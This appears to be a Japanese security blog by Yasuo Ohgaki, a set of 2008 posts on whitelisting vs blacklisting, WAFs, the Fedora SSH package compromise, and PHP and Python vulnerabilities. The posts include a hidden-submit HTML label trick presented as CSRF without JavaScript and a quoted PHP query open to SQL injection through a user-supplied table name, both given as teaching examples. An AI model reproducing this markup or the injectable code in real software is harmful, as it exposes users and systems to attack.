コメントを残す
JavaScript無しでフォームをコントロール
言われてみれば、そう言えばそんな機能があったね、と思うような機能はよくあります。
JavaScript無しでフォームを制御する方法はHTML4が策定されている時に追加された機能です。
http://www.w3.org/TR/html401/interact/forms.html#h-17.2.1
...
以下のLABELタグのサンプルは http://www.0x000000.com/?i=635 より拝借しています。
<label for="action">
<body>
Etymology of "Foo" 1 April 2001
When used in connection with `bar' it is generally traced to the
WW II era Army slang acronym FUBAR (`Fucked Up Beyond All
Repair'), later modified to foobar. Early versions of the Jargon
File [JARGON] interpreted this change as a post-war
bowdlerization, but it now seems more likely that FUBAR was itself
a derivative of `foo' perhaps influenced by German `furchtbar'
(terrible) - `foobar' may actually have been the original form.
</body>
</label>
<form action="http://www.google.com" method="get">
<input type="submit" id="action" style="display:none;">
</form>
通常のサイトではここまで自由にタグが記述できるようにはなっていないので問題となることはほとんど無いでしょう。
しかし、悪意があるサイトの場合は別です。実際に悪用できる場合、CSRFの様に利用できます。JavaScript無しもでページを表示するだけでCSRFを行う事が出来ます。JavaScriptが利用できなくても悪意のあるサイトと脆弱性が放置されたサイトが組合わさると防ぐことが出来ない場合がある、という良い例だと思います。
フィードバックはまだありません...
コメントを残す
Fedoraプロジェクトがクラックされた原因 - RedHat系ユーザは早急に対応が必要
追記:斜め読みで勘違いしていた部分を修正しました。RHのSSHのパッケージが全部更新されていたのでここに脆弱性があったと読んでいました。
8/22リリースされたエラータです。
Last week Red Hat detected an intrusion on certain of its computer systems and took immediate action. While the investigation into the intrusion is on-going, our initial focus was to review and test the distribution channel we use with our customers, Red Hat Network (RHN) and its associated security measures. Based on these efforts, we remain highly confident that our systems and processes prevented the intrusion from compromising RHN or the content distributed via RHN and accordingly believe that customers who keep their systems updated using Red Hat Network are not at risk.
http://rhn.redhat.com/errata/RHSA-2008-0855.html
先週Fedoraプロジェクトがクラックされ、SSHパッケージが改ざんたようです。改ざんされたパッケージはSSHパッケージのみようです。
早急に対策が必要です。直ぐに対応できない場合、とりあえずsshを止めてしまうのが良いです。
サインされたパッケージが改ざんされるのは最悪の自体です。こういう場合のリスクを低減させるにはポートノッキングを実装するとよいでしょう。
Webサーバが稼働しているなら、CGIを利用してWebによるポートノッキングを簡単に実装できます。
/etc/init.d/sshd start
sleep 30
/etc/init.d/sshd stop
を実行すれば良いだけです。ほとんど何も入っていないセキュアなWebサーバでもshellは入っているはずです。suidしなければならないので余計な事はあまり考えず、認証を使いたい場合はHTTP認証を使った方が良いと思います。
(30秒以内にログインしないとなりません。短すぎる場合は60秒でも良いでしょう。sshdが止まっても接続済みのセッションは継続して利用できます)
何らかの理由で誤ってsshdが動作したままにならないよう、cronでsshdを停止するようにしておくと良いです。
参考:
Infrastructure report, 2008-08-22 UTC 1200
https://www.redhat.com/archives/fedora-announce-list/2008-August/msg00012.html
OpenSSH blacklist script
http://www.redhat.com/security/data/openssh-blacklist.html
Red Hat (belatedly) confirms security breach
http://blogs.zdnet.com/security/?p=1784
CESA-2008:0855 Critical CentOS 5 i386 openssh Update
http://lists.centos.org/pipermail/centos-announce/2008-August/015194.html
CESA-2008:0855 Critical CentOS 5 x86_64 openssh Update
http://lists.centos.org/pipermail/centos-announce/2008-August/015193.html
3 コメント
しっかり読まなかった言い訳ですが、関係ないのであればごちゃ混ぜにするのは良く無いと思います。何故こんな書き方になったのでしょうね。何が悪かったのかさっぱり分りません。そのうち公開されるのかも知れませんが。
自分のページ http://d.ma-aya.to/?date=20080823#p01にそのあたりを書いておきましたので、逆に大垣さんから見て間違いなどあればツッコミ下さい。
コメントを残す
Tomcatの管理者は大忙し?
http://www.milw0rm.com/exploits/6229
などはまだいいですが
http://www.0x000000.com/?i=630
こういうのは、本当に使ってしまう輩がいそうで怖いです。
どうしても直ぐにバージョンアップできない場合、WAFは役に立ちます。今回の場合、
でも十分です。そう言えば、直ぐに使えるPoCを公開している
は簡易WAFも紹介していたサイトです。簡易WAFを使いましょう、と言いたいのかも知れません。
フィードバックはまだありません...
コメントを残す
ホワイトリストとブラックリスト - Proactiveセキュリティ対策 vs. Reactiveセキュリティ対策
「プログラミングはホワイトリスティングが基本」にブラックリストもホワイトリストもどちらも同じ事を言っていて違いが分からない、とコメントを頂きました。
http://pfrb.blog114.fc2.com/blog-entry-5.html
ホワイトリストとブラックリストは単純な場合は分かりやすいコンセプトですが、ちょっと複雑になると分かりやすいようで境界が分かり辛いコンセプトです。
メールのホワイトリストとブラックリスト
メールを例にホワイトリストとブラックリストの違いと境界の分かり辛さを解説します。
...
メールにおける単純なホワイトリスト(許可リスト)とは受け取りたいメールアドレスを指定し、そのメールアドレス以外を拒否する機能です。私からのメールを受け取りたければ yohgaki@ohgaki.net をホワイトリストに登録します。
ブラックリスト(拒否リスト)は反対に受け取りたく無いメールアドレスを指定し、そのメールアドレス以外からのメールは受け取る機能です。私からのメールを受け取りたくなければ yohgaki@ohgaki.net を登録します。
単純な場合は、非常にシンプルで分かりやすいコンセプトです。
境界が曖昧なホワイトリストとブラックリスト
メールアドレスの指定にワイルドカード(任意の文字列を表す"*")を利用可能にすると、ホワイトリストとブラックリストの境界は非常に曖昧になります。
私がアカウントを取得する場合、yohgakiが利用可能な場合はyohgakiをユーザ名として登録しています。私がyohgakiで始まる複数のアカウントを持っている事を知っている知人はyohgaki@ohgaki.netでも、yohgaki@gmail.comでも、yohgaki@yahoo.co.jpでも受信できるようホワイトリストに"yohgaki*"を登録するかも知れません。
反対にブラックリストのユーザは"yohgaki*"を登録して拒否するかも知れません。
"yohgaki*"をホワイトリストに登録したユーザは"yohgaki*"以外をブラックリストに登録したのと同じです。反対に"yohgaki*"をブラックリストに登録したユーザは"yohgaki*"以外をホワイトリストに登録した事になります。しかし、目的が私からのメールを許可または拒否したい為に"yohgaki*"をホワイトリスト、ブラックリストに登録したとすると、どちらのリストも目的を果たせなくなる可能性があります。
yohgakiがアカウント名として取れなかったのでyohgaki123, yohgaki456というユーザ名を取得したユーザがいたとすると、"yohgaki*"をホワイトリストに登録したユーザの意図に反して、私が所有しないyohgaki123, yohgaki456のユーザ名の持つメールアドレスからのメールが許可されます。"yohgaki*"をブラックリストに登録したユーザは私からのメールだけを拒否したかったのに、私が所有しないyohgaki123, yohgaki456のユーザ名を持つメールアドレスからのメールまで拒否してしまう事になります。
この様にワイルドカードを使い出すと一つのルールで複数のアドレスを許可できたり、拒否できるようにすると、拒否しなくないアドレスまで拒否してしまいます。基本的なコンセプトは変わらないのですが、どちらもその基本コンセプトを達成することができなくなり、境界が曖昧になってきます。
プロアクティブなセキュリティ対策とリアクティブなセキュリティ対策
メールの例で示したようにホワイトリスト、ブラックリストというコンセプトだけでは境界が分かり辛くなります。
プロアクティブ(積極的)なセキュリティ対策とリアクティブ(受動的)なセキュリティ対策というコンセプトでは境界は曖昧になり辛いと考えています。こちらの方が、より分かりやすく実践しやすいと考えているので「Webアプリセキュリティ対策入門」では、セキュリティ対策のコンセプトをプロアクティブな対策とリアクティブな対策に分類し、基本的にプロアクティブなセキュリティ対策を選択するようお薦めしています。
プロアクティブなセキュリティ対策とは、予測不可能なリスクも回避できるよう安全性を保証できる対策のみを採用するセキュリティ対策です。プロアクティブなセキュリティ対策では行っても良い事を定義します。もちろん「行っても良い事」は安全である事が保証できなければなりません。安全であることを保証した「行っても良い事」だけを許可する為、予測不可能なリスクも回避できる可能性が高くなります。(JavaScriptインジェクションが良い例です)
リアクティブなセキュリティ対策とは、既知のリスクを回避できるよう、危険性を防止する対策を採用するセキュリティ対策です。リアクティブなセキュリティ対策では、行ってはならない事を定義します。「行ってはならない事」の危険性は確実です。危険と分っている「行ってはならない事」を禁止するため、予測不可能なリスクを回避する事は出来ません。(こちらもJavaScriptインジェクションが良い例です)
ホワイトリスト型のセキュリティ対策とは基本的にはプロアクティブなセキュリティ対策です。安全であると確実に分っている事だけを許可します。ただし、メールの例の様に"yohgaki*"は大垣靖男からのメールアドレスからとして処理する、と定義するのは「予測不可能なリスクも回避できるよう、安全性の保証できる対策(この場合はメールアドレス)のみ採用する」といった考え方に反する危険なルールと言えます。
プロアクティブなアプローチでは、何が安全で何が危険か常に考えながらセキュリティ対策を考えます。リアクティブなアプローチでは何が危険か考えながらセキュリティ対策を考えます。リアクティブなアプローチでは「何が安全か」という視点が無いため、危険を回避できない事が多くなります。
プロアクティブなアプローチは万能か?
プロアクティブなセキュリティ対策が万能か、というと実世界ではどう頑張ってもプロアクティブなセキュリティ対策が取れない場合もあります。例えば、データベースにデータを保存した場合、そのデータがどの様に利用されるか予め分かる事は少ないです。脆弱性があるアプリケーションによってデータベースに保存したデータが利用され、攻撃に利用されるかも知れません。
しかし、どのように利用されるか分からないからと言ってデータベースにデータを保存する場合にどんなデータを入れても良い分けではありません。テキストデータであるなら、最低限文字エンコーディングが正しい事を確認してからデータを保存すべきです。
データベースによっては、自動的に文字エンコーディングが正しいかチェックします。DBMSは文字エンコーディングが正しいかチェックするのでアプリではチェック無しでも大丈夫、とはプロアクティブな考え方のセキュリティ対策では考えません。入力が予定している形式と異なる場合は未知のリスクが発生する可能性がある、と考え正しい形式であるか、入力を受け取った時点でチェックします。データベースに保存する、しないは関係ありません。
リアクティブなアプローチの対策を先に考えてしまうと、プロアクティブなアプローチの対策の出る幕はありません。リアクティブな対策の方がプロアクティブな対策より採用しやすいからです。リアクティブなアプローチでは抜け穴を許してしまう可能性が非常に高く、システム構築など、高いセキュリティが要求される場合にはリアクティブな対策ばかり採用していては安全性の高いシステム構築は期待できません。
プロアクティブな対策は万能ではありませんが、可能な限りプロアクティブな対策を先に検討し、採用する事が重要です。例えば、HTMLタグの属性をユーザが選択できるようにするなら、属性値として安全な"アルファベットのみ"の文字列なら許可する、対策を選択するよち、属性値がリストとして定義可能なら、リストに載っている属性値のみを許可する対策を選択すべきです。
ホワイトリストはプロアクティブ、ブラックリストはリアクティブ
違いが分かり辛くなってしまいがちなホワイトリスト的なセキュリティ対策とブラックリスト的なセキュリティ対策ですが、プロアクティブとリアクティブと考えると分かり辛くならないのでは無いでしょうか?
プロアクティブ(ホワイトリスト):確実に安全である物のみを許可
リアクティブ(ブラックリスト):悪いと分かっている物のみを拒否
システム構築の場合、ほとんどの要素が制御可能であるためプロアクティブな対策に大部分に採用可能です。
どちらのアプローチを採用した方が安全なシステムが出来上がるか?議論の必要は無いと思います。
バランスも大事
全ての仕様を厳密にプロアクティブなアプローチに従うと、アプリケーションの仕様、プロジェクトの進行やコストに許容しがたい影響を与える場合があります。私は何事も原理主義は良くないと考えています。状況に合わせて柔軟であることも非常に重要です。
どちらも何が言いたいのか良く分からない、という疑問に対する答えになっていれば良いのですが、どうでしょう?
# 徳丸さんのページを読む前に書いたのでポイントがず
# れているかも知れませんが、その場合はまた書きます。
3 コメント
前回あたりから思っていたのですが、一般的な「ホワイトリスト」という言葉の使い方ではないような気がします。
根本的に「プロアクティブな対策」を推奨することと、ホワイトリストを推奨することは全く対応が異なる話だと思います。恐らく、セキュリティをやっている人間なら誰もが理解してると思いますが。
「安全なものしか通さない」というプロアクティブな考えは、セキュリティでは常識です。しかし、その方法は色々あるわけですよね。
例えば、数字x桁ならば受け付ける(それ以外ははじく)という対策は、一般的にホワイトリストとは呼びませんよね。
それと、ホワイトリストが現実的でない、といっている人達も当然、上の常識は判っていて、出来るのなら当然やっているが、話題に上がっていた、XSS等といった攻撃手法を防ぐ、という幅広い話には、ホワイトリストでは対策出来ないと言っているだけではないでしょうか。シチュエーションが限定されているならばともかく、常識的に考えて「XSSを防ぐにはホワイトリストですよ」とは言えないと思います。
話の発端は、なんでホワイトリストを説明するのにXSS Cheet Sheetをだすのか、という所だったかと思いますが、あれは一般的にみてもあきらかに誤解を招くような記述だと思いました。誤解する人がわずかだが居るようだ、ではなく、誤解しない方がレアケースでしょう。
なにより「いじわるな」と本人で認めているのは、全くいかがなものかと。
再度、上記のようなエントリを作成しました。
『続・ホワイトリストとブラックリスト』
http://pfrb.blog114.fc2.com/blog-entry-6.html
時間もあまり無かったので「ホワイトリストの作り方」はちょっと不親切な書き方でした。私もバリデーションは全てホワイトリストでやるべきだ、とは考えていません。このエントリで紹介したようにホワイトリストのつもりでホワイトリストになっていないケースも少なくありません。「ホワイトリストの作り方」で紹介したXSS Cheat Sheetを見れば、生半可なブラックリストなど全く役に立たない事が5分もあれば分ると思います。(英語サイトのなので敷居が高いのかな...)
開発やプログラミングで、セキュリティ上、最も大切なのは問題に対する「姿勢」だと思っています。受動的なセキュリティ対策は非常に採用しやすいです。設計の問題、入力/出力先の仕様など理解せず、問題が見つかって、分ってからから対処するのですから当たり前です。
能動的な対策は多くの手間が必要となります。設計上の問題、入力/出力先の仕様を正しく理解してから作る事が前提となります。全ての開発者に幅広く、そしてレベルの深い知識を要求する事は、コストが非常に高く、現実的はありません。しかし、「7つの習慣」ではありませんが「姿勢」を身につける事は容易です。
筆者はUS CERTとMSが2000年にXSS問題の提起をした時にプロアクティブなセキュリティ対策の視点から、文字エンコーディングは厳格に扱うべきと考えていました。2000年時点では壊れた文字エンコーディングを利用した、具体的な攻撃手法などを考えつきませんでしたが、隠れたリスクを予想はしていました。
実際に複数文字エンコーディングや壊れた文字エンコーディングを利用したXSSやSQLインジェクション、XMLインジェクションは何年も経ってからPoCが発表されました。
このような事例は他にもあります。スタックスマッシング攻撃が実用化された当初はヒープ領域のメモリ管理問題はセキュリティ上大きな問題ではないと認識されていました。しかし、研究が進むとヒープ領域のメモリ管理問題もスタックメモリ管理の問題と同様に任意コード実行が可能である事が分りました。
# 個人的にはこの経験がセキュリティ対策を能動的に考え、実践
# する事の重要性を学ぶ機会になりました。
経験に学ぶより、歴史に学ぶ方が遥かにコストが少なくなります。
歴史的にはブラックリスト的、受動的なセキュリティ対策は、無意味とは言いませんが、コレに基準を定めると安全なシステム構築には有害である事は証明されていると考えています。
しかし、システム開発の現場は理想主義だけではこなせないのが現実です。従って、能動的な対策を基本に置きつつ必要な妥協を行うバランス感覚も欠かせません。主従を間違えなければ、多くのプロジェクトは正しい方向で進むと思います。最初にプロアクティブな対策を考え、プロジェクトのリソース(開発者のスキル、開発期間、開発コストなど)と要求仕様を考慮して、最適なバランスで開発を進める事が重要だと考えています。
Webアプリケーションの脆弱性はWebアプリケーションので対処するべきで、対策が取れるまでサイトを閉鎖するのがセキュリティ対策だけを考慮すれば最良であることは明らかです。対策が行われるまでサイトを閉鎖する事は現実的ではありません。WAFによる保護も必要となるでしょう。しかし、WAF導入等の対策はWebシステムの様に管理された環境下でのシステム開発では受動的な対策と言えます。
# 立場や環境が異なればWAFも能動的な対策と言えます。
# 私は基本的に「開発者」としての立場からセキュリティ
# 対策を見ています。
# 運用担当者の立場から見れば、WAFは能動的な対策と言え
# るでしょう。
私がWAFに関して危惧しているのは、FirewallやSSLによるセキュリティ対策が万能であるかのように誤解された事が、WAFでまた再現する事です。
コメントを残す
プログラミングではホワイトリスティングが基本
「ホワイトリスト方式の優位は神話」と題するエントリに私のブログホワイトリストはどう作る? が引用されている事を教えていただきました。
誤解されないように書こうとすると、どうしても長文になります。暇な方だけお付き合いください。
...
意地悪なブログエントリと書籍の文章
まず、ちょっと意地悪なブログエントリと書籍の文章を同列に比較されても困ります。言い訳ですが著書の"Webアプリケーションセキュリティ対策入門"では金床さんと同様の表現になっています。90年代にホワイトリスティングとブラックリスティングの議論は出尽くしているので自慢になりませんが、書籍の発行年度は私の方が早いです。
ついでのように紹介して恐縮だが、大垣さんの書かれたホワイトリストはどう作る?は、ホワイトリスト神話の悪しき例と言わざるを得ない。
スクリプトインジェクション(XSS)防止にブラックリストが機能しない事は明らかです。ホワイトリストはどう作れば良いか参考となるリンクです。どう作るか書いておいても古くなる可能性が高いので、どこを参考に作れば良いか参考URLを書いておきます。
以下のリンクの情報からスクリプトのインジェクションがどのように行えるかを参考にホワイトリストを作れば概ね間違いないと思います。
Follow up:
XSS Cheat Sheet
スクリプトインジェクション手法の中でも有名な手法を集めているサイトです。XSSロケータと呼ばれている文字列はスクリプトインジェクション脆弱性検出に重宝します。よくある脆弱性であればこの文字列で簡単に検出できます。
[ホワイトリストはどう作る?より引用]
大垣さん、これではホワイトリストではなくて、ブラックリストそのものです。
多分XSSロケータを紹介した事により、ブラックリストを紹介している、と誤解されたのかと思います。こういった文字列で悪意のある攻撃者は攻撃してくる、という基礎知識を身につけた上でホワイトリストを作らないとトンデモない物になる事を知って欲しいという意図があります。
そして、XSS Cheat Sheetを見てブラックリスティングでは対応できない事を理解して欲しい、という意図があります。
タイトルに「ホワイトリストはどう作る?」と付けて、肝心の作り方を書いていないのは読まれた方自身で理解してもらえれば、それが最も良い事である、と考えたのでホワイトリストの作り方を解説していません。
一方、興味深いことに、金床さんの書かれたウェブアプリケーションセキュリティには、同じ題材を取り扱っているが、その記述はまるで異なる。
WAFを使用しブラックリスト方式のシグネチャマッチングによってXSS対策を行う場合、攻撃を完全に防ぐことは不可能である。これはXSSを引き起こす可能性のある文字列が非常に多岐にわたるためだ。このことは非常によく知られたドキュメントであるXSS Cheat Sheetを見るとよくわかる。【中略】望ましい対策として、パラメータごとにホワイトリスト式のチェックを行う方法が考えられるが、残念ながら多くのウェブアプリケーションではホワイトリストをきちんと定義することが難しい【中略】従って、WAFを使ってXSS攻撃を完璧に防ぐことは期待できない (P92〜P94)。
[ウェブアプリケーションセキュリティより引用]
同書の書評でも述べたが、オープンソースのWAFの開発者としてホワイトリストとブラックリストの両方に真剣に向き合ってきたからこそ書ける、正確かつ誠実な記述である。
"Webアプリケーションセキュリティ対策入門"にも"くどい"と思われるかもしれない程、同じような記述があります。
確かに、このエントリだけを読んだ方には誤解してしまう可能性がある多少意地悪なエントリです。しかし、少し私のブログや書籍を読めば「プログラミングにおけるブラックリスティングはやってはならないバッドプラクティスだ」と一貫して主張しているとすぐ解ると思います。
「ホワイトリストはどう作る?」は誤解され易いと思いつつ書いたエントリなので誤解が無いよう追記しました。よろしければ「ホワイトリストはどう作る?」もご覧ください。
敵を知り、己れを知れば、百戦危うからず
XSS Cheat Sheetを紹介した意図は「ブラックリストを作っても意味がほとんど無い」事を紹介する、というより実証する為に紹介しています。XSS Cheat Sheatを読み、理解して、どのようなホワイトリストを書くべきか、またホワイトリストのつもりで書いたフィルタ類がどれだけ穴だらけだったのか、などを自分で考えられるようになると思い紹介しているます。XSS Cheat Sheetの中身を見れば直ぐに解る、と思ったのですが読まないと解らないでしょうね。
XSS Cheat Sheetを読んで、それでもまだブラックリスト方式でXSSが防げる、と考える方がいるとしたら重症です。
開発者が忙しいのは解っています。しかし、重要なセキュリティ対策の基本的な知識は、なぜその対策が有効なのか、自分で読んで理解してから使って欲しいです。攻撃者がどの様に攻撃してくるか知らないと、付け焼き刃の防御法では守りきれない事が非常に多いです。
笑い話のようですが「SQLインジェクション対策として全てプリペアードクエリを使っているから安全です」と聞いていても実際にコード監査をすると、SQLインジェクション対策=プリペアードクエリ、と勘違いした開発者により
$sql = 'SELECT * FROM '.$_GET['table_name'].' WHERE abc = $1';
pg_query_params($dbconn, $sql, array($_GET['abc'));
のようなクエリがありました。テーブル名はプリペアードクエリのパラメータとして指定できないのでユーザ入力がそのままプリペアードクエリ生成に利用されている失敗例です。SQLインジェクションの原理を正しく理解している人には当たり前の笑い話でも、"SQLインジェクション対策=プリペアードクエリ"としか覚えていない初心者には理解できません。
「敵を知り、己れを知れば、百戦危うからず」にする為には、攻撃方法や初学者の間違いを理解し、それでも安全なシステムやコードが作れるよう対策しなければなりません。
コンテンツとシステムのセキュリティ
徳丸さんのブログで"コンテンツのセキュリティ対策"におけるホワイトリスティングとブラックリスティングと、"システム開発のセキュリティ対策"におけるホワイトリスティングとブラックリスティングが同等の物であるかのような書き方をされている事が気になりました。
コンテンツはWebユーザにとって"制御できない"データの集まりです。ホワイトリスティング、ブラックリスティングにより主張されるような問題が発生する事は当然です。白黒付けるにも個人の主観が大きく関係します。様々な情報が掲載されているのでURLで単純に選別できる物でもありません。Goo Kidsの様に子供にも安全なページとして毎日新聞のURLを設定していたら問題があった事例もありました。コンテンツは日々更新されています。信頼のおけるサイトであっても広告に悪意のあるHTMLが含まれているケースもあります。コンテンツにはグレーゾーンが多くあり、ホワイトリスティングとブラックリスティング両方に存在価値があります。
システムは開発者・運営者によって"制御できる"物とデータの集まりです。Webシステムのサーバ側は開発者・運営者が自由にコントロール可能な環境です。コンテンツの様に制御がまったく不可能なデータの集まりではなく、ある程度制御されたデータを完全に指示どおりに動作するよう制御されたプログラムが扱う世界です。(たとえ、指示が間違いであっても)
システム上におけるセキュリティ問題に関してグレーゾーンはほとんど無いと言えます。攻撃できないか?攻撃できるか?攻撃できるとすればどの程度容易に攻撃できるか?で判別できます。ベストプラクティスの綺麗なコードであっても、攻撃できれば黒(脆弱性)なのです。バッドプラクティスの怪しいコードや設計であっても攻撃できなければ白です。
コンテンツのセキュリティとシステムにセキュリティを同列に並べるのは無理があります。
コンテンツにおいてブラックリスティング、ホワイトリスティングは別の目的や成果を得るために使い分けが可能で、優劣を論ずるのはあまり意味がありません。
システムのセキュリティにおいては"攻撃を防ぐ目的"にホワイトリスティング、ブラックリスティングを利用します。自ずと比較対象となります。比較の結果、ホワイトリスティング型セキュリティの方がより効果的に安全性を向上できる事は明白です。
コンシューマ向けシステムとWebシステム
コンピュータシステム上のセキュリティ問題として、コンシューマ向けのソフトウェアホワイトリスティングはあまり効果的ではないのは同じ意見です。しかし、企業内などのコントロールされた環境下で、インストールされるソフトウェアはホワイトリスト方式で管理されるべきですし、多くの会社がそうしています。運用管理システムには動作しているプロセスをホワイトリスト方式で監視できる物が多くあります。
Webシステムも規模の大小はあれ、コントロールされた環境です。コントロール可能な環境下ではホワイトリスト型のセキュリティ対策が非常に有効に機能します。Webシステムのサーバ側のシステムは、企業内システムにインストールされるソフトウェアと同様、ホワイトリスト方式で管理できるのであれば、ホワイトリスト方式で管理する方がブラックリスト方式で管理するより安全であることには明白です。
システムにおけるホワイトリスティング優位は事実
プログラムのコード中の1000万行の内、9,999,999行が完璧でも、たった1行おかしな行があるだけで有効な攻撃が可能となるのはよく在ることです。脆弱性が発生しないようにする為には、危ういコードだが攻撃はできないグレーゾーン、と呼べるようなコーディングを排除するようにしなければなりません。その為にはセキュアな設計とコード監査が書かせません。コード監査の重要性は私一人が言っている事ではなく、コード監査が重要であることはセキュリティ専門家全員が認めている事です。システムの安全性確保は安全な設計と安全なコードから始まります。
プログラミングに於いて、ホワイトリスティングの方が優位であることは"神話"ではなく"事実"です。私個人がそのように考えているのではなく様々なセキュリティ標準やセキュリティベストプラクティスでは基本的にホワイトリスティング型のセキュリティ対策を採用すべきとし、多重のセキュリティ対策としてブラックリスティング型のセキュリティ対策も採用するように奨めています。
WAFは基本的にはブラックリスティング型のセキュリティ対策です。もちろん、ホワイトリスティング型の定義で安全性を向上させる事もできます。入力値を厳格にチェックするにはアプリケーションの仕様は当然、データの使われ方まで把握しないとならない場合も少なくありません。
しかも、いくら厳格にチェックしても、データの用途が複数の場合、WAFではどうチェックしても安全性を維持できない場合は幾らでもあります。アプリケーションの内部で対応しなければ本当の安全性など達成できないのです。つまり、ホワイトリスティング型のセキュリティ対策を行う適切かつ最適は場所は、コードの中であり、システムの中なのです。付属のシステムと言えるWAFで十分な安全性は期待できません。
WAFは無用か?
WAFは有用であり、安全なシステム運用には欠かせません。しかし、間違ったWAFの使い方が少なくありません。この為、WAFの危険性を訴えるセキュリティ専門家も少なくありません。実際、間違ったWAFの使い方の例は多くあります。このブログでも国連の例を紹介しています。
WAFは有用だと最初に書きましたが、どんなWAF嫌いでも、絶対に反論できない用途があります。ゼロデイ攻撃対策です。WAFの殆ど機能はアプリケーションに実装できますが、ゼロデイ攻撃やそれに近い攻撃には、アプリケーションではまったく対応できない場合があります。
WAFの利用は最小限度に留め、必要なセキュリティ対策はアプリケーション内で行うのが最も効率的なセキュリティ対策です。
セキュリティ対策のベストプラクティスでは、多重のセキュリティが適用可能な場合は可能な限り実装する事が望ましい、とされています。その意味で、WAFを"追加"のセキュリティ対策としてホワイトリスト型の定義を利用してアプリケーションを保護する事にまったく異論はありません。
決して行ってはならないのはWAFで保護しているから大丈夫、とシステム上で対策できる問題を放置する事です。Webセキュリティ対策はあくまでもWebシステムが"主"でありWAFは"従"です。
関連:
ホワイトリストはどう作る?
http://blog.ohgaki.net/-7
誤ったWAFの使い方
http://blog.ohgaki.net/waf
ホワイトリストとブラックリスト - Proactiveセキュリティ対策 vs. Reactiveセキュリティ対策
http://blog.ohgaki.net/proactive-security-vs-reactive-security
2 コメント
コメントを残す
PHPのSessionモジュールの脆弱性
たまたま目に止まったブログがあるので紹介します。
PHP:session_set_save_handlerリファレンスマニュアルのサンプルにパス・トラバーサル脆弱性
http://www.tokumaru.org/d/20080818.html#p01
[php]session_set_save_handlerのパストラバーサルで任意コマンドの実行が可能
http://www.tokumaru.org/d/20080819.html#p01
この危険性はStrict Sessionパッチが作られた頃にも議論されていました。このパッチを摘要するとセッションアダプション脆弱性も修正します。もし、互換性なので要件で厳格なSession管理ができない場合でもセッションIDに利用可能な文字は安全な文字のみに限定されるのでパストラバーサルなどの問題は発生しません。
話は横道にそれますが、セッションアダプションの問題については、PHP 4.4.9リリース前にPHP Security Response Teamと議論しました。リリースノートを見れば解りますが、残念ながら良い結果ではありませんでした。いくつかの脆弱性をレポートしましたが、その内の一部の脆弱性のみに対応しただけです。これについては時間が出来次第エントリを書きます。
話を戻しますが、セッションモジュールの問題は随分前(何年も前)に議論されており、開発者のスタンスとしては「ユーザ側の問題」「ファイルストレージがあるのに態々自分作って自分の足を打つようなユーザが問題」「RDBMSをストレージに使ってエスケープしないでSQLインジェクションされるのと同じ」といった結論になってしまったと記憶しています。
セッションアダプションの問題を解決すれば、パストラバーサルの問題もSQLインジェクション問題も解決するのですが...
セッションアダプション脆弱性はリスクが不当に低く評価され過ぎです。PHPを利用されている方全てにStrict Sessionパッチをお勧めします。
フィードバックはまだありません...
コメントを残す
Pythonの脆弱性
Googleがクラウドコンピューティングの言語としてPythonを採用したのでセキュリティ研究家が脆弱性を調査し、今年はPythonの脆弱性が多く報告されるはず、とこのブログで予想しています。また新たな脆弱性が報告されているので書いておきます。
今回は整数オーバーフローが多いので、整数オーバーフローを中心に調査したのだと思われます。
Python 2.5.3以上でないと穴だらけと言えますが....
と言った状況のようです。
しかし、予想通りとはいえ数が多いですね。
CVE-2008-3144
Multiple integer overflows in the PyOS_vsnprintf function in Python/mysnprintf.c in Python 2.5.2 and earlier allow context-dependent attackers to cause a denial of service (memory corruption) or have unspecified other impact via crafted input to string formatting operations. NOTE: the handling of certain integer values is also affected by related integer underflows and an off-by-one error.
CVE-2008-3143
Multiple integer overflows in Python before 2.5.2 might allow context-dependent attackers to have an unknown impact via vectors related to (1) Include/pymem.h; (2) _csv.c, (3) _struct.c, (4) arraymodule.c, (5) audioop.c, (6) binascii.c, (7) cPickle.c, (8) cStringIO.c, (9) cjkcodecs/multibytecodec.c, (10) datetimemodule.c, (11) md5.c, (12) rgbimgmodule.c, and (13) stropmodule.c in Modules/; (14) bufferobject.c, (15) listobject.c, and (16) obmalloc.c in Objects/; (17) Parser/node.c; and (18) as...
CVE-2008-3142
Multiple buffer overflows in Python 2.5.2 and earlier on 32bit platforms allow context-dependent attackers to cause a denial of service (crash) or have unspecified other impact via a long string that leads to incorrect memory allocation during Unicode string processing, related to the unicode_resize function and the PyMem_RESIZE macro.
CVE-2008-2316
Integer overflow in _hashopenssl.c in the hashlib module in Python 2.5.2 and earlier might allow context-dependent attackers to defeat cryptographic digests, related to "partial hashlib hashing of data exceeding 4GB."
CVE-2008-2315
Multiple integer overflows in Python 2.5.2 and earlier allow context-dependent attackers to have an unknown impact via vectors related to the (1) stringobject, (2) unicodeobject, (3) bufferobject, (4) longobject, (5) tupleobject, (6) stropmodule, (7) gcmodule, and (8) mmapmodule modules.
フィードバックはまだありません...
コメントを残す
未修正のPHP脆弱性を募集
PHP4のサポート終了に伴い、幾つかの未修正のセキュリティホールについてPHP Security Response Teamとやり取りしています。
ついでなので出来る限り多くの脆弱性が修正されるようにしたいと考えています。PHP4.4.8, PHP 5.2.6で未修正の脆弱性やセキュリティ上の問題をご存知の方は是非教えて下さい。
現時点はどの脆弱性をレポートしているのか書けませんが、もしPHP本体やモジュールで修正されていない脆弱性をご存知の方は教えて頂けると助かります。メールやこのブログのコメント、このブログのContactページ等からご連絡ください。
結果については後日このブログにて公開します。
7 コメント
一応確認の為のコメントです。
PHP4.4.9: CVE-2008-2829 buffer overflow in IMAP request has NOT patched
PHP 5.2.7でやっと修正されました。4.4.9でも修正されていません。
PHP4.4.9: CVE-2008-1384 integer overflow in printf() has NOT patched.
修正されていません。
PHP4.4.9: #bug44720 prevent crash within session_register() has NOT patched.
修正されていません。
PHP4.4.9: #bug44667 proc_open() does not handle pipes with the mode 'wb' correctly has NOT patched.
修正されていません。
時間がかかりましたが、近日中にまとめエントリを公開したいと考えています。
コメントを残す
PHPプロジェクトのセキュリティに対する姿勢
久しぶりにPHPプロジェクトに貢献すべく、私が確認したセキュリティ上の問題をPHP Security Response Teamに送りました。
具体的な対応については準備が整ってからにしますが、まずは大まかな感想だけ書きます。
PHPのセキュリティは随分改善された、とお墨付きをScanの報告書「Open Source Software 2008」で貰っており、バッファオーバーフロー等の欠陥コード減っているのは事実です。Month of PHP Bug (MOPB)でセキュリティレスポンスチームのセキュリティ意識も改善されたと思っていました。
まだメールのやり取りをしている段階なので断定できませんが、セキュリティに対する意識の改善は十分では無いと言えるようです。
詳しい状況や事情、セキュリティの問題などは8月の終わりくらいには書けるかも知れません。
フィードバックはまだありません...
コメントを残す
PHP 4.4.8用のStrict Sessionパッチ
桝形さんから
http://blog.ohgaki.net/php-5-2-strict-session
